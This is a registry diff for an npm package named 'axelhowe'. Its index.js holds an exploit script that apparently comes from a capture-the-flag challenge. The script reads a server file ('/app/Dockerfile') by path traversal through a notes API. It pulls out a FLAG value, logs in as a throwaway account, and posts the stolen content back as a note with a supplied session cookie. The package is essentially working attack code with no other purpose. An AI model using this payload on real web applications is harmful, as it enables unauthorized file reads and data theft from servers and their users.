axelhowe 0.0.0-dBJ5yPtwPsHAW0U3 → 0.0.0-j8rEsnCR

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +15 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,5 @@
1
- function exploit() {
2
- let url = "/api/notes/all";
1
+ function f(cookie) {
2
+ let url = "/api/notes?id=/app/Dockerfile";
3
3
  let url2 = "/api/notes";
4
4
  let data;
5
5
 
@@ -10,27 +10,31 @@ function exploit() {
10
10
  }
11
11
  ).then(
12
12
  (response) => {
13
- data = response[0];
13
+ data = response;
14
14
  });
15
+
16
+ // delete data
17
+ let flag = data.content.split("'FLAG{")[1]
18
+
15
19
  fetch(
16
20
  "/login", {
17
21
  method: "POST",
22
+ headers: {
23
+ "content-type": "application/x-www-form-urlencoded"
24
+ },
18
25
  body: "username=qweasd&password=qweasd"
19
26
  }).then(
20
27
  (response) => {
21
28
  fetch(
22
29
  url2, {
23
30
  method: "POST",
24
- body: JSON.stringify({ "title": data.title, "content": data.id })
31
+ headers: {
32
+ "content-type": "application/json",
33
+ "cookie": "session=" + cookie
34
+ },
35
+ body: JSON.stringify({ "title": data.title, "content": flag })
25
36
  }
26
37
  );
27
38
  });
28
-
29
- fetch(
30
- url2, {
31
- method: "POST",
32
- body: JSON.stringify({ "title": data.title, "content": data.id })
33
- }
34
- );
35
39
  return ""
36
40
  }
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-dBJ5yPtwPsHAW0U3"}
1
+ {"name":"axelhowe","version":"0.0.0-j8rEsnCR"}